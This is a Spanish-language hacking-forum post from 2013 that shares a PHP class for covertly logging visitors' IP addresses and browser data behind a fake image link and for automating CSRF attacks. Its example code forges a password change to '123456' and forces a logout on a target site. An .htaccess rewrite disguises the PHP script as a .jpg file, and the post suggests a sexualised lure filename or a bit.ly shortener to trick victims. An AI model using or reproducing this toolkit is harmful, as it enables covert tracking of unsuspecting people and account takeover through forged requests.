Foro de elhacker.net

Programación => PHP => Mensaje iniciado por: WarGhost en 27 Febrero 2013, 20:06 pm



Título: Clase PHP para agilizar CSRF/XSRF y CaptureIP Image
Publicado por: WarGhost en 27 Febrero 2013, 20:06 pm
Bueno hace tiempo que no revisaba las clases que tenia por el portátil y me encontré con esta, que aunque no sea muy extensa, es bastante útil para alguna que otra tontería. La subí a GIT por si a alguien le interesa.

Definición:
Básicamente es una class para poder capturar la IP/Navegador de un usuario mostrando una imagen, pdf o redirigiendo a otra web, los datos son guardados en una base de datos MySQL.
También nos vale para agilizar CSRF/XSRF ya que añadiendo los parámetros en un array ya estará creado todo el html y la redirección JS.

Enlace:
https://github.com/DaveMTC/executePhoto

Explicación:
Bueno es bastante sencillo el asunto, importamos la clase y luego llamamos a los métodos que queremos, por ejemplo:

Código
  1. <?php
  2.    require('class.executePhoto.php');
  3.  
  4.    // Capturamos los datos de la conexion:
  5.    executePhoto::save_client();
  6.  
  7.    // Imprimimos una imagen remota:
  8.    executePhoto::print_img('http://foro.elhacker.net/Themes/converted/selogo.jpg');
  9.  
  10.    // Imprimimos un PDF:
  11.    executePhoto::print_pdf('http://www.boe.es/boe/dias/2013/02/04/pdfs/BOE-A-2013-1145.pdf');
  12.  
  13.    // Parametros que seran redirigidos:
  14.    $param = array('contrasenya'                => '123456',
  15.                   'repetir_contrasenya' => '123456',
  16.                   'email'                      => 'ejemplo@email.com');
  17.  
  18.    // Ejemplo de ejecucion arbitraria cambio contrasenya:
  19.    executePhoto::redirect_post('http://localhost/', $param);
  20.  
  21.    // Redireccionamos la web y desconectamos a X usuario de la web:
  22.    executePhoto::redirect('http://localhost/logout');
  23. ?>

Tabla:
Los datos que se guardan en la base de datos son el lenguaje del navegador, la ip, el tipo de navegador, la hora y la url de referencia si es que existe.

Código
  1. CREATE TABLE `list_clients` (
  2.  `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
  3.  `ip` VARCHAR(120) DEFAULT NULL,
  4.  `lang` VARCHAR(200) DEFAULT NULL,
  5.  `browser` VARCHAR(200) DEFAULT NULL,
  6.  `referer` VARCHAR(200) DEFAULT NULL,
  7.  `date` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
  8.  PRIMARY KEY (`id`),
  9.  UNIQUE KEY `ip` (`ip`) USING BTREE
  10. ) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=latin1;

htaccess:
Por ultimo también hay un .htaccess, para que la url sea mas amigable al usuario, siempre entra mejor un http://www.miweb.es/lorena-desnuda.jpg aunque también podemos usar acortadores como bit.ly

Código:
RewriteEngine On
RewriteRule ^(.*)\.jpg$ example.php [NC]

Un saludo y ojala le sirva a alguien ^^.